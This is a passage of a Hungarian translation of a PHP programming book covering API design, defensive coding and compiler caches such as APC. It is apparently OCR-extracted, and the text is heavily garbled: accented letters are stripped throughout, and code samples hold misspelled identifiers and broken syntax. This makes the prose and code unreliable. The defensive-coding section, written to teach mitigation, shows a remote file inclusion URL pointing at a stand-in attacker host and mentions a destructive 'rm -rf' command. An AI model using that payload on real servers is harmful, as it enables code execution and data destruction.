A CVS-sel kapcsolatban tovbbi informcikat a kvetkez helyeken tallhatunk: A CVS projekt kzponti webhelye, a http: / /www. cvshome. org rengeteg informcit tartalmaz a CVS hasznlatval s fejlesztsvel kapcsolatban. A CVS The Cederqvist cm elektronikus kziknyve, amelyet megtallhatunk a webhelyen, kivl bevezet. Moshe Bar s Kari Fogelis Open Source Development with CVS cm knyve remek trgyalsa a CVS-sel trtn fejlesztsnek. Az RPM-mel trtn csomagkszts elsdleges forrsa a Red Hat webhelyen, a http: / /rpm. redhat. com/RPM-HOWTO cmen rhet el. Ha ms opercis rendszert hasznlunk, annak dokumentcijban rdemes utnanznnk a natv csomagok ptsnek. Az rsync kapcsolit megtalljuk az opercis rendszer megfelel sgoldalain (man). Rszletesebb pldk s megvalstsok az rsync honlapjn, a http: //samba.anu. edu. au/rsync cmen tallhatk.

Hogyan tervezznk j API-t?


Mitl lesz egy kd j, s mitl egy msik rossz? Ha egy kd helyesen mkdik s nincsenek benne hibk, j kd? Szemlyes vlemnyem szerint nem. Egyetlen kd sem elszigetelt, s eredeti alkalmazsn tl is fennmarad, gy a minsg megllaptsnl ezeket a tnyezket is figyelembe kell venni. Sajt meghatrozsom szerint egy j kdnak az albbihoz hasonl tulajdonsgokkal kell rendelkeznie: Knny karbantartani. Knny ms krnyezetben jrahasznostani. A lehet legkevesebb kls fggsggel rendelkezik. j feladatokhoz igazthat. Viselkedse megjsolhat s biztonsgos.

Ha a listt tovbb szktjk, az albbi hrom jellemzt kapjuk: jrapthet, bvthet, vdekez.

Alulrl felfel s fellrl lefel tervezs

A tervezs ltfontossg a szoftverfejlesztsben. A tmakr igen nagy, gy ebben a fejezetben csak a felsznt kapargatjuk meg. Szerencsre szmos kitn knyvet tallunk a tmban, melyek kzl kettt a Tovbbi olvasmnyok rszben meg is emltnk a fejezet vgn. ltalnossgban elmondhat, hogy a tervezs mdjt kt kategriba sorolhatjuk: alulrl felfel tervezs s fellrl lefel tervezs.

222

PHP fejleszts felsfokon

Az alulrl felfel trtn tervezsre az jellemz, hogy mr a tervezs elejn runk kdot. Azonostjuk az alapvet alacsonyszint elemeket, megkezdjk megvalstsukat, majd ha elkszltek, sszektjk azokat. Az ilyen tervezs hrom ok miatt lehet vonz: Nehz egy teljes projekt folyamn elvontan dolgozni. Mivel azonnal elkezdjk rni a kdot, gyorsan terjeszthet anyaghoz jutunk. A tervezsi vltozsokat knnyebb kvetni, mert az alacsonyszint elemeket ezek kevsb rintik. Az alulrl felfel tervezs htrnya, hogy az alacsonyszint elemek kls fellete az sszepts sorn gyakran drasztikus vltozson megy keresztl. Ez azt jelenti, hogy a munka ugyan kezdetben gyors eredmnyt hoz, de a vgn egyre tbbszr lesz szksg jratervezsre. Fellrl lefel tervezskor elszr az egsz alkalmazst alrendszerekre bontjuk, majd az alrendszereket elemekre, s csak amikor a teljes rendszert megterveztk, akkor valstjuk meg a fggvnyeket s osztlyokat. Az ilyen tervezs elnyei a kvetkezk: Hamar stabil felletet kapunk. Az elemek biztosan illeszkedni fognak egymshoz, gy kevesebbszer kell jratervezni azokat, mint az alulrl felfel tervezsnl.

jrapthetsg s bvthetsg
Sok programoz szmra nem magtl rtetd, hogy jobb egy stabil fellet egy gyengbb megvalstssal, mint egy rosszul tervezett API jobban megrt kddal. Tny, hogy az ltalunk rt kdot felhasznljk majd ms programokban, s sajt lett kezdi lni. Ha a felletet jl terveztk meg, a kd mindig jrapthet, hogy javtsuk teljestmnyt, de ha rosszul, minden vltoztatsnl mdostanunk kell valamennyi kdot, ami a felletet hasznlja. Knnyen jrapthet kdot rni ltfontossg ahhoz, hogy jrahasznosthat s karbantarthat programot kapjunk. De hogyan tervezzk meg a kdot, hogy knnyen jrapthet legyen? A kulcsot tbbek kztt a kvetkezk jelentik: A logika fggvnyekbe zrsa. Egyszer osztlyok s fggvnyek, amelyek ptkockaknt szolglnak.

8. fejezet Hogyan tervezznk j API-t?

223

Nvterek hasznlata a kd egysgekre bontshoz. A kdban lev fggsgek cskkentse.

A logika fggvnyekbe zrsa


A kdot jrahasznosthatbb s kezelhetbb tev egyik legfontosabb mdszer a logika fggvnyekbe helyezse. A kvetkez plda rvilgt, mirt is fontos ez. Egy marylandi zlet gy dnt, hogy termkeit az Interneten is knlja. A marylandi lakosoknak helyi adt kell fizetnik a boltban vsrolt termkek utn, gy a programban ehhez hasonl kdblokkokat tallunk:
$tax = ($user->state == 'M D') ? 0.05*$price : 0;

Ez csak egyetlen sor, alig tbb karakter, mintha minden adatot egy segdfggvnynek adnnk t. Br az adt eredetileg csak a megrendel oldalon tntetjk fel, hamarosan megjelenik a hirdetsekben s az akcis oldalakon is. Biztosan ltjuk az elkerlhetetlent. Kt dologra szmthatunk: Maryland j adkulcsokat vezet be. A cg gy dnt, hogy Pennsylvaniban is zletet nyit, s az ottani lakosoknak is kiszmtja a forgalmi adt. Ha brmelyik bekvetkezik, a fejlesztnek rohammunkban meg kell tallnia minden helyet a kdban, ahol az adszmts trtnik, s mdostsokat kell eszkzlnie, hogy a kd tkrzze az j szablyokat. Egyetlen hely kihagysa is komoly (akr jogi) kvetkezmnyekkel jrhat. Mindezt elkerlhetjk, ha az ad kiszmtst vgz aprcska kdot egy fggvnybe zrjuk, me egy egyszer plda: function Commerce_calculateStateTax($state,
{

$price)

switch($state) { case 'MD': return 0.05 * $price; break; case ' PA' : return 0.06 * $price; break; default: return 0; }

Persze ez a megolds elgg rvidlt: felttelezi, hogy az adt csak a vsrl lakhelye (state, llam) befolysolja, pedig a valsgban ms szempontokat is figyelembe kell venni (pldul lehetnek olyanok, akik admentessget lveznek). Jobb megolds, ha ksztnk egy fggvnyt, amelynek bemenete egy teljes felhasznli rekord, gy akkor sem kell jratervezni a programfelletet, ha egyedi sttust is figyelembe kell venni. me egy ltalnosabb fggvny, amely vsrlsnl kiszmtja a forgalmi adt: function Coinmerce_caclulateTax(User $user,
{

$price)

return Commerce_calculatestateTax($user->state, $price);


}

Fggvnyek s teljestmny a PHP-ben

A knyv olvassa kzben, vagy amikor teljestmnyhangolsi tmutatkat bngsznk az Interneten, gyakran tallkozhatunk azzal a megllaptssal, hogy a fggvnyek hvsa a PHP-ben lass", ami arra utal, hogy a fggvnyhvsok tbbletkltsggel jrnak. Ez a kltsg nem nagy, de ha msodpercenknt oldalak szzait vagy ezreit szolgltatjuk, hatsa mr szrevehet, klnsen ha a fggvnyhvs ciklus szerkezet. Ezek szerint kerlnnk kell a fggvnyeket? Egyltaln nem! Donald Knuth, a szmtgptudomny egyik atyja szerint a korai optimalizls minden rossz gykere". A teljestmnyfokozs s -hangols gyakran nveli a fenntarts kltsgeit, ezrt csak akkor rdemes lenyelnnk ezt a kltsget, ha tnyleg megri. Olyan kdot clszer rni, ami a lehet legknnyebben mdosthat, a programlogikt osztlyokba s fggvnyekbe kell zrnunk, a kd pedig legyen egyszeren jrapthet. Mkds kzben elemezzk a kd hatkonysgt (a IV. rszben lert mdszerek segtsgvel), s ptsk jra azokat a rszeket, amelyek elfogadhatatlanul kltsgesek. Ha a kd szervezst a fejleszts korai szakaszban optimalizljuk, gyors kdot kapunk ugyan, de a program bvtse s karbantartsa lehetetlenn vlik.

Egyszer osztlyok s fggvnyek hasznlata


ltalban vve egy fggvnynek vagy tagfggvnynek egyetlen egyszer feladatot clszer vgrehajtania. Ezeket az egyszer fggvnyeket aztn ms fggvnyek felhasznlhatjk, gy vgezhetnk el sszetettebb feladatokat. Ez az a megkzelts, amit a tmbszer fggvnyek rsval szemben elnyben kell rszestennk, mert ez segti az jrahasznostst. Az adszmt pldban megfigyelhettk, hogyan oszlott az eljrs kt fggvnyre (Coinmerce_calculateTax () s az ltala meghvott Commerce_calculateStateTax ()

8. fejezet Hogyan tervezznk j APl-t?

225

segdfiiggvny). Ezzel a sztvlasztssal brmilyen krnyezetben kpesek voltunk kiszmtani az adott llamban rvnyes forgalmi adt. Ha a teljes programlogika a Commerce_calculateTax () fggvnyen bell szerepelt volna, a kdot meg kellett volna kettzni, ha a vsrlsok adtartalmnak kiszmtsa mellett ms krnyezetben is szerettk volna hasznlni.

Nvterek hasznlata
A nvterek hasznlata minden nagy kdban ltfontossg. Sok ms parancsnyelvtl (Perl, Python, Ruby stb.) eltren a PHP-ben nincsenek igazi nvterek, illetve formlis csomagol rendszer. Eme beptett eszkzk hinya mg fontosabb teszi, hogy fejlesztknt kvetkezetes nvtrhasznlati szablyokat alkalmazzunk. Vegyk a kvetkez szrny kdot: $number = $_GET['number']; $valid = validate($number); if($valid) { // ----}

Ha a kdra pillantunk, nem tudjuk megllaptani, mit is csinl. Ha az itt megjegyzsbe tett blokkot megvizsgljuk, alkothatunk nmi fogalmat a program mkdsrl, de a kd tbb tekintetben is homlyos marad: Nem tudjuk, hol szerepel a fggvnyek meghatrozsa. Ha nem az adott oldalon (mrpedig a fggvny-meghatrozsokat clszer kln fjlba tenni, hogy jrahasznosthatok legyenek), akkor viszont honnan tudjuk, melyik knyvtrban hatroztk meg ket? A vltoznevek borzasztak. A $number semmivel nem utal a vltoz cljra, s a $valid sem sokkal jobb. me ugyanaz a kd, jobb elnevezsekkel: $cc_number = $_GET['cc_number']; $cc_is_valid = CreditCard_IsValidCCNumber($cc_number); if ($cc_is_valid) { // ...
}

Ez ms sokkal jobb, mint az elz. A $cc_number jelzi, hogy a szm egy hitelkrtya szma (credit card, cc), a CreditCard_IsValidCCNumber () fggvnynv pedig elrulja, hol tallhat a fggvny (pldul CreditCard. inc) s mit csinl (meghatrozza, hogy a hitelkrtyaszm rvnyes-e).

226

PHP fejleszts felsfokon

A nvterek hasznlata a kvetkez elnykkel jr: Arra btort, hogy a fggvnyeknek ler jelleg neveket adjunk. Lehetv teszi, hogy a nv alapjn megtalljuk a fggvny fizikai helyt. Segtsgvel elkerlhet a nvtkzs. Az azonosts, illetve hitelests trgya szmos dolog lehet: a webhely ltogati vagy felgyeli, a hitelkrtyk stb. Az olyan nevek, mint a Member_Authenticate (), az Admin_User_Authenticate () vagy a CreditCard_Authenticate () vilgoss teszik, mire gondolunk. Br a PHP nem biztost formlis nyelvi rendszert a nvterekhez, osztlyok hasznlatval utnozhatjuk azokat, mint az albbi pldban: class CreditCard { static public function IsValidCCNumber()
{

//
}

...

static public function Authenticate() { // - . . } }

Akr egyszeren fggvnyeket, akr nvtrutnz osztlyokat hasznlunk, a nvtereket mindig jl meghatrozott mdon kell trstanunk a fjlok helyhez. n az . inc vgzds hozzfzst rszestem elnyben, amellyel az albbihoz hasonl termszetes fjlhierarchia alakthat ki:
API_ROOT/ CreditCard.inc DB/ Mysql.inc Oracle.inc

DB.inc

E felpts szerint a DB_Mysql osztlyok az API_ROOT/DB/Mysql. inc llomnyban tallhatk.

Mly begyazsi fk

A modulris kd s gyors kd kztti vlasztsban fontos tnyez lehet az a komoly klnbsg, ami az include fjlok kezelsben mutatkozik. A PHP teljes egszben futsidej nyelv, ami azt jelenti, hogy a programok fordtsa s vgrehajtsa is fordtsi idben

8. fejezet Hogyan tervezznk j API-t?

227

trtnik. Ha egy programba 50 fjlt gyazunk be (kzvetlenl vagy begyazsok lncn keresztl), akkor ezt az 50 fjlt minden krelemnl meg kell nyitni, be kell olvasni, fel kell dolgozni, le kell fordtani s vgre kell hajtani, ami jelents kltsget jelenthet. Mg ha fordti gyorstrat hasznlunk is (ezzel kapcsolatban lsd a 9. fejezetet), a fjlokat akkor is el kell rnnk, hogy meggyzdhessnk rla, hogy nem vltoztak meg a msolat gyorstrba helyezse ta. Egy olyan krnyezetben, ahol msodpercenknt oldalak szzait vagy ezreit szolgltatjuk, ez komoly gond lehet. A vlemnyek eltrnek abban a tekintetben, hogy legfeljebb hny fjlt clszer begyazni egy adott oldalon. Egyesek szerint hrom a megfelel szm (br erre semmilyen magyarzatot nem adtak), msok amellett kardoskodnak, hogy minden include-dal beemelt kdot be kell rnunk, mieltt a fejlesztkrnyezetbl zemi krnyezetbe helyeznnk a programot. Vlemnyem szerint mindkt megkzelts hibs. Termszetesen nevetsges, ha egy oldalba llomnyok szzait gyazzuk be, de az a kpessg, hogy a kdot fjlokba oszthatjuk szt, a kezelhetsg szempontjbl igenis fontos. A nem kezelhet kd lnyegben hasznlhatatlan, az include begyazsok pedig ltalban nem jelentenek klnsebben szk keresztmetszetet. A kdnak elszr is kezelhetnek s jrahasznosthatnak kell lennie. Ha ez 10 vagy 20 begyazott llomnyt jelent oldalanknt, ht legyen. Ha a kdot gyorsabb kell tennnk, ksztsk el a profiljt (a 18. fejezetben bemutatott eljrsok hasznlatval), s csak akkor nyirbljuk meg a begyazsi ft, ha a profil azt mutatja, hogy az include () s a require () hasznlata jelentsen cskkenti a teljestmnyt.

A csatols cskkentse Csatols akkor jn ltre, ha egy fggvny, osztly vagy ms kdegysg helyes mkdse egy msik hasonl egysgtl fgg. A csatols rossz, mert fggsgek hljt hozza ltre olyan kdelemek kztt, amelyeknek nllaknak kellene lennik. Pillantsunk a 8.1 brra, ami a Serendipity webes naplrendszer fggvnyhvsi grfjnak rszlett mutatja. (A teljes fa tl bonyolult ahhoz, hogy itt bemutassuk.) Kln figyelmet rdemelnek azok a csompontok, ahol szmos szl fut ssze. E fggvnyek csatolsa igen nagy, ezrt szinte lehetetlen mdostani ket. Brmilyen vltoztats az adott fggvny felletben vagy viselkedsben valsznleg az sszes hv mdostst ignyeln. Ez nem felttlenl rossz: minden rendszerben lennie kell alapfggvnyeknek s -osztlyoknak, amelyek olyan stabil elemek, amelyekre a rendszer tbbi rsze pl. Csak tisztban kell lennnk vele: egy stabil kd nem felttlenl szoros csatols, de egy szoros csatols kdnak stabilnak kell lennie. Ha olyan osztlyaink vannak, amelyekrl tudjuk, hogy alaposztlyok (pldul elvont adatbzisrtegek vagy alapmkdst ler osztlyok) lesznek, idejekorn sznjunk elegend idt felletk megfelel kidolgozsra, mieltt annyi kd hivatkozna rjuk, hogy az jratervezs lehetetlenn vlik.

228

PHP fejleszts felsfokon

8.1 bra A Serendipity webes naplrendszer fggvnyhvsi grfjnak rszlete.

Vdekez kdols
A vdekez kdols (defenzv kdols) a felttelezsek kiirtsa a kdbl, klnsen ha ms eljrsokbl rkez vagy oda tovbbtott informcik kezelsrl van sz. Az olyan alacsonyszint nyelvekben, mint a C vagy a C++, a vdekez kdols msfle tevkenysget jelent. A C-ben a vltozk tpusknyszertst a fordt vgzi; a felhasznli kdnak az erforrsok felszabadtsval s a trtlcsordulsok elkerlsvel kell foglalkoznia. A PHP magasszint nyelv: az erforrs-, memria- s tmenetitr-kezelst a PHP belsleg intzi. A PHP emellett dinamikus tpusokra pl, ami azt jelenti, hogy a fejleszt felel minden szksges tpusellenrzsrt. (Hacsak nem objektumokat hasznlunk, amikor lhetnk a tpusjelzsek eszkzvel.) A hatkony vdekez kdolsnak a PHP-ben kt alapvet felttele van: Kdolsi szabvnyok fellltsa a vletlen nyelvtani hibk elkerlsre. Ferttlentsi mdszerek hasznlata a rosszindulat adatok kivdsre.

8. fejezet Hogyan tervezznk j API-t?

229

Kdolsi szabvnyok fellltsa A vdekez kdols nem csak a tmadsok ellen vd. A legtbb hiba hanyagsgbl s hamis felttelezsekbl ered. A legknnyebben gy gyzdhetnk meg arrl, hogy ms fejlesztk helyesen hasznljk kdunkat, hogy minden kdot szabvnyoss tesznk az argumentumok sorrendje s a visszatrsi rtkek tekintetben. Egyesek gy rvelnek, hogy tfog dokumentci birtokban az argumentumsorrend nem szmt. Nem rtek egyet velk. Ha egy fggvny minden hasznlatba vtelekor a kziknyvhz vagy sajt dokumentcinkhoz kell fordulnunk, a fejleszts lass lesz, s gyakran hibzhatunk. A kvetkezetlen argumentumelnevezsre kitn plda a MySQL s PostgreSQL PHPgyfl API. me a kt knyvtr lekrdez fggvnynek prototpusa: resource mysql_query ( string query [, resource connection]) resource pg_query ( resource connection, string query) A klnbsg igen zavar, br vilgosan dokumentltk. A visszatrsi rtkeknek hasonlan kvetkezetesnek s jl meghatrozottnak kell lennik. A logikai (Bool-fle) fggvnyek esetben ez egyszer: siker esetn true-t, hiba esetn f a 1 se-t kell visszaadnunk. Ha a hibakezelsre kivteleket hasznlunk, hierarchijuknak jl meghatrozottnak kell lennie, amint arrl a 3- fejezetben olvashattunk. Ferttlents i eljrsok hasznlata A 2002 vgn a PHP nyelven rt Gallery nev fnykpalbum-programban tallt hiba szles krben ismertt vlt. A Gallery a $GALLERY_BASEDIR nev belltsi vltozt hasznlta arra a clra, hogy a felhasznlk megvltoztathassk a program alaprtelmezett alapknyvtrt. Alapllapotban azonban a vltoz nem volt belltva; a kd valamennyi include () utastsa gy festett: <? require($GALLERY_BASEDIR . "init.php"); ?>

Ez azt eredmnyezte, hogy ha a kiszolglt a register_globals belltst bekapcsolva futtattk (ami a korbbi PHP-vltozatok alaprtelmezett viselkedse volt), egy tmad ilyen krelmet adhatott ki: http://gallery.example.com/view_photo.php?\ GALLERY_BASEDIR=http://evil.attackers.com/evilscript.php%3F Ennek eredmnyekpp a require a kvetkezre rtkeldtt ki: <? require("http://evil.attackers.com/evilscript.php?init.php"); ?>

230

PHP fejleszts felsfokon

Ezzel letltdtt s vgrehajtdott az evil. attackers . com cmrl a megadott kd - mondanunk sem kell, milyen kellemetlen hatssal. Mivel a PHP rendkvl sokoldal nyelv, a tmadk brmilyen helyi rendszerparancsot kiadhattak. Teleptettek hts ajtkat, kiadtk az N rm -rf / * ; parancsot, letltttk a jelszfjlt, s szinte minden elkpzelhet rosszindulat tevkenysget vgeztek. Az ilyen tmadst tvoli parancsbeszrs (remote command injection) nven ismerik, mivel a kiszolglt olyan kd vgrehajtsba csalogatja be, amelyet nem lenne szabad futtatnia. Az ellene val vdekezshez minden alkalmazsban szmos biztonsgi intzkedst kell tennnk: Mindig kapcsoljuk ki a register_globals belltst. Ez a bellts ma mr csak a visszirny megfelelsget szolglja, s hatalmas biztonsgi kockzatot jelent. Hacsak nincs r felttlenl szksgnk, lltsuk of f-ra a php. ini fjl allow_url_f open belltst. A Gallery hibjt azrt hasznlhattk ki, mert a PHP minden fjlkezel fggvnynek (f open (), include (), require () stb.) tetszleges URL-t adhatunk t, nem csak egyszer fjlelrsi utakat. Br ez hasznos szolgltats, gondokat is okozhat. A Gallery fejlesztinek biztosan nem llt szndkban, hogy a $GALLERY_BASEDIR tvoli fjlokra is bellthat legyen; a kd rsakor ez meg sem fordult a fejkben. Michael Radwin a One Year of PHP at Yahoo!" cm beszdben azt javasolta, hogy soha ne hvjuk az f open () -t URL-lel, helyette hasznljuk a PHP-hez mellkelt curl bvtmnyt. Ezzel biztosak lehetnk benne, hogy ha tvoli erforrst nyitunk meg, akkor valban ez volt a szndkunk. Mindig rvnyestsk az adatokat. Br a $GALLERY_BASEDIR vltozt egyltaln nem arra terveztk, hogy parancssorbl lltsk be, ha mgis megtrtnik, ellenriznnk kell, amit kaptunk. Rendben vannak a fjlrendszerelrsi utak? Az adott fn kvli llomnyokra prblunk hivatkozni? A PHP rszleges megoldst nyjt a problmra, a php. ini open_basedir belltsval. Az open_basedir belltsa megakadlyozza, hogy olyan fjlt nyissunk meg, ami az adott knyvtron kvl esik. Sajnos hasznlata nincs j hatssal a teljestmnyre, s a fejlesztknek is megnehezti, hogy sszeegyeztethet kdot rjanak. A gyakorlatban a kiszolglhelyet biztost krnyezetekben a leghasznosabb, ahol segt abban, hogy a felhasznlk ne zavarjk egyms kreit. Az adatferttlents lnyeges rsze a biztonsgnak. Ha tudjuk, hogy az adatokban nem szerepelhet HTML, a strip_tags segtsgvel az albbi mdon tvolthatjuk el a HTMLkdokat: // a felhasznlnvben nem lehet HTML $username = strip_tags($_COOKIE['username']);

8. fejezet Hogyan tervezznk j API-t?

231

Ha a felhasznl ltal megadott bemenetben megengedjk a HTML hasznlatt, az olyan, mintha felszltannk a tmadkat a helykzi (cross-site) tmadsra. Az ilyen tmadsokrl rszletesebben a 3- fejezetben olvashattunk. Ha fjlnevet kapunk, ugyangy gyzdhetnk meg rla, hogy nem lpnk ki az aktulis knyvtrbl: $filename = $_GET['filename']; if(substr($filename, 0, 1) == ' / ' // rossz fjl
}

II strstr( $ f ilename,

".."))

me egy msik megolds: $file_name = realpath($_GET['filename' ] ) ; $good_path = realpath( " . / " ) ; if(!strncmp($file_name, $good_path, strlen($good_path))) // rossz fjl
}

Az utbbi ellenrzs szigorbb, de kltsgesebb is. Egy msik adatferttlentsi lps, amit mindig el kell vgeznnk, a hasznlt RDBMS megfelel fggvnynek vagy a mysql_escape_string () futtatsa minden adaton, amit brmilyen SQL lekrdezs kap. A tvoli parancsbeszrsi tmadsokhoz hasonlan ugyanis vannak SQL-beszrsi tmadsok is. A fggvny automatizlsban egy olyan elvont rteg hasznlata segthet, mint a 2. fejezetben kidolgozott DB osztlyok. A 23. fejezetben rszletesebben megmutatjuk, hogyan rhatunk C nyelv bemeneti szrket, amelyekkel automatizlhat a ferttlent kd futtatsa a krelmekre rkez bemeneten. Az adatrvnyests kzeli rokona az adatferttlentsnek. Lehet, hogy nem gy hasznljk fggvnyeinket, mint ahogy szerettk volna. Ha a bemenetet nem rvnyestjk, nem csak biztonsgi lyukak keletkezhetnek a kdban, hanem az alkalmazs is helytelenl mkdhet, s adatszemt kerlhet adatbzisainkba. Az adatrvnyestssel a 3- fejezetben foglalkoztunk.

Tovbbi olvasmnyok
Steve McConnell Code Complete cm knyve kitn bevezet a gyakorlati szoftverfejlesztsbe; egyetlen programoz knyvtra sem lehet teljes nlkle. (Ne trdjnk a Microsoft Press cmkvel: a knyv nem kifejezetten Windows-programozssal foglalkozik.) A The Pragmatic Programmer: From Journeyman to Master Dvid Thomas s Andrew Hunt tollbl szintn olyan alapm, amely nlkl egyetlen fejleszt sem boldogulhat.

Gyorstrak

Teljestmnyfokozs kls mdszerekkel


Akrmilyen finomhangolst is vgezznk, soha nem szabad szem ell tvesztennk a vgs clt. Lehet, hogy napi munknk sorn arra kell sszpontostanunk, hogy egy adott mkdst vagy weboldalt gyorsabb tegynk, az alapvet feladat azonban mindig az, hogy maga az alkalmazs vljon gyorsabb. Idnknt elfordulhat, hogy egyszeri vltoztatsokkal az alkalmazs sszessgben vett teljestmnyt is nvelhetjk. A hatkony mkds biztostka a krltekint s megbzhat tervezs, s a helyes programozsi mdszerek hasznlata. Ezek semmivel sem vlthatk ki. Mindennek tudatban szmos mdszer ltezik arra, hogy a PHP-n kvl javtsuk alkalmazsunk teljestmnyt. A kiszolgl, illetve a nyelv szintjn vgzett mdostsok nem javtjk ki a pongyola, illetve kevsb hatkony kdolst, de azt biztostjk, hogy az alkalmazs a lehetsgekhez mrten a legjobb teljestmnyt nyjtsa. Fejezetnkben gyors egymsutnban sorra vesznk nhny mdszert s termket, melyek segthetnek alkalmazsunk teljestmnynek nvelsben. Mivel ezek mindegyike vagy mlyen a PHP belsejben rejtzik, vagy valamilyen kls megoldst alkalmaz, e fejezetben nem tallkozhatunk tl sok PHP kddal. Mindez azonban ne tartson vissza a fejezet elolvasstl - a technolgik sszjtkbl sokszor jelents hasznunk szrmazhat.

Teljestmnyfokozs a nyelv szintjn


Az ide tartoz mdszerekben magt a PHP-t mdostjuk a teljestmny nvelsnek rdekben. A programnyelv szerencsre nagyszer API-vel rendelkezik a motor szintjn (ezt a 21. s a 23- fejezetekben tzetesebben is megismerjk), ami lehetv teszi, hogy olyan bvtmnyeket ksztsnk, melyek kzvetlenl befolysoljk, miknt dolgozza fel s hajtja vgre a motor a kdot. Kvetkezskppen ezt a felletet hasznlhatjuk arra, hogy felgyorstsuk a PHP programok fordtst s vgrehajtst.

236

PHP fejleszts felsfokon

Fordti gyorstrak
Ha egyetlen kiszolglmdostssal szeretnnk PHP alkalmazsunk teljestmnyt nvelni, egyrtelmen a fordti gyorstr teleptse mellett rdemes dntennk. Ezzel ugyanis valban nagy nyeresgre tehetnk szert, radsul - ellenttben szmos ms mdszerrel, melyek az alkalmazs mretnek nvekedsvel egyre kisebb mrtk javulst hoznak a fordti gyorstrak ltal nyjtott elnyk egytt nnek a mrettel s az sszetettsggel. De mi is az a fordti gyorstr? s honnan szrmazik az emltett hihetetlen teljestmnynvekeds? Nos, ahhoz, hogy e krdsekre vlaszt kapjunk, meg kell vizsglnunk, miknt hajtja vgre a Zend Engine a PHP programokat. Amikor a PHP-hez hvs rkezik egy program vgrehajtsra, az albbi ktlpses folyamat indul el: 1. A PHP beolvassa a fjlt, rtelmezi, majd kszt egy kztes kdot, ami vgrehajthat a Zend Engine virtulis gpen. A kztes kd szmtstechnikai kifejezs, a program forrskdjnak azt a bels brzolst jelenti, ami a nyelvi fordts sorn keletkezik. 2. A PHP vgrehajtja a kztes kdot. Nhny dolgot meg kell jegyeznnk e folyamat kapcsn: Szmos programnl - klnsen a sok beemelt rszt tartalmazknl - tbb idt vesz ignybe az rtelmezs s a kztes kd elksztse, mint ez utbbi vgrehajtsa. Jllehet az els lpsben kapott eredmny nem sokat vltozik kt vgrehajts kztt, a rendszer mgis jra a teljes folyamatot indtja el a program minden futtatsnl. Ez a folyamat nemcsak akkor fut le, amikor a f fjlt vgrehajtjuk, hanem minden olyan esetben is, amikor a programot a require (), az include () vagy az eval () segtsgvel futtatjuk. Lthatjuk teht, hogy az els lpsben a programokhoz, illetve a beemelt kdokhoz ksztett kztes kd tmeneti trolstl jelents nyeresget vrhatunk a teljestmnynvekeds tern. A fordti gyorstr pontosan ezt teszi. A 9.1. brn a program vgrehajtsnak folyamatt lthatjuk, fordti gyorstr hasznlata nlkl, mg a 9.2. bra ugyanezt a folyamatot mutatja be, de itt mr fordti gyorstrat is alkalmazunk. Figyeljk meg, hogy a program vagy beemelt llomny els elrsnl fordul csak el, hogy res a tr - ezutn a fordtsi lps teljesen kimarad. A PHP-hez hrom fontosabb fordti gyorstr ltezik: Zend Accelerator - Kereskedelmi, zrt forrs, megvsrolhat fordti gyorstr a Zend Industriestl. ionCube Accelerator - Kereskedelmi, zrt forrs, de ingyenes fordti gyorstr, melyet Nick Lindridge rt, s cge, az ionCube terjeszt.

9. fejezet Teljestmnyfokozs kls mdszerekkel

237

APC - Ingyenes, nylt forrs fordti gyorstr, melyet Dniel Cowgill s jmagam rtunk. A 23- fejezetben, ahol a PHP s a Zend Engine bvtst trgyaljuk, az APC mkdsnek rszleteivel is megismerkedhetnk. Az APC fordti gyorstr a PEAR Extension Code Library (PECL) keretn bell rhet el. Teleptshez az albbi parancsot kell kiadnunk: #pear install apc

9.1. bra

Egy program vgrehajtsnak folyamatbrja a PHP-ben. A mkdhez szksges belltsok elvgzshez helyezzk el a kvetkez sort a php. ini fjlban: extension = /path/to/apc.so Ezen fell semmifle tovbbi belltsra nincs szksg. Ha legkzelebb elindtjuk a PHP-t, az APC mr aktv lesz, s elvgzi programjaink tmeneti trolst az osztott memriban.

238

PHP fejleszts felsfokon

Ne feledjk, hogy a fordti gyorstr a program vgrehajtsban az rtelmezsi szakasz felesleges ismtlseitl kml meg, gy hasznlata olyan programoknl a leghatkonyabb, amelyek nagyobb mennyisg kdot tartalmaznak. Prbakppen lemrtem a klnbsget a Smartyhoz adott bemutat oldalon. Asztali gpemen 26 krelmet fogadtam msodpercenknt egy gyri PHP sszelltstl. Ha az APC-t is betltm, ez a szm 42-re kszik fel, ami 6l%-os nvekedst jelent ami igen jelentsnek nevezhet, klnsen annak fnyben, hogy a kdhoz hozz sem kellett nylni. A fordti gyorstrak klnsen hatkonyan alkalmazhatk olyan krnyezetekben, amelyek sok beemelt llomnyt hasznlnak. Amikor a Community Connectnl dolgoztam (ekkor szletett az APC is), nem volt szokatlan jelensg, ha egy program (nhvssal) 30-40 fjlt is beemelt az include-dal. Az ilyen fjlok szaporodsa az alapkd nagymrtkben modulris felptsnek volt ksznhet, melynek sorn a hasonl fggvnyeket kln knyvtrakba rendeztk. Ebben a krnyezetben az APC alkalmazsa az alkalmazs teljestmnynek tbb mint 100 %-os nvekedst eredmnyezte.

9.2. bra

Program vgrehajtsa fordti gyorstrral.

9. fejezet Teljestmnyfokozs kls mdszerekkel

239

Nyelvi optimalizlok
A nyelvi optimalizlok a program lefordtsa utn kapott kztes kdszerkezett alaktjk hatkonyabb. A legtbb nyelv rendelkezik optimalizl fordtkkal, melyek az albbiakhoz hasonl mveleteket vgeznek: Dgltt kdok eltntetse - Vagyis megszabaduls az elrhetetlen kdrszletektl, mint pldul az i f (0 ) { }. llandk talaktsa - Ha a program llandk egy csoportjn vgez mveleteket, ezeket mr a fordts alatt elvgezhetjk. Ezt megtehetjk pldul az albbi sorban: $seconds_in_day = 2 4 *6 0 *6 0; E sort ugyanis talakthatjuk gy, hogy a futs kzben ne kelljen szmtsi mveleteket vgezni: $seconds_in_day = 86400 ; Mindehhez a felhasznlnak hozz sem kell nylnia a kdhoz. Helyi optimalizls - Lteznek olyan helyi optimalizlsi lehetsgek, melyekkel nvelhetjk a program teljestmnyt (pldul, ha a $count++ helyett + + $count-ot runk, ha a visszatrsi rtk res krnyezetbe kerl). A $count + + esetben a nvels azutn trtnik meg, hogy a program kirtkelte az sszes olyan kifejezst, melyben a $count szerepel. gy pldul a $i = $count++; esetben az $i a $count rtkt kapja meg, mg mieltt a program nveln. A vgrehajts szempontjbl ez azt jelenti, hogy a motornak trolnia kell a $count rtkt, hiszen ezt kell alkalmaznia az olyan kifejezsekben, ahol ez a vltoz szerepel. Ezzel szemben a ++$count mg azeltt nveli a $count vltoz rtkt, mieltt az ezt tartalmaz kifejezseket kirtkeln, gy semmilyen ideiglenes rtket nem kell trolni (s gy kevesebb erforrst kell felhasznlni). Ha a $count + + alakot alkalmazzuk, de az eredmnyt nem hasznljuk fel azonnal egy kifejezsben (vagyis res krnyezetbe kerl), nyugodtan talakthat elzetes nvels alakra. Az optimalizl fordtk a fentiek mellett ms mveleteket is 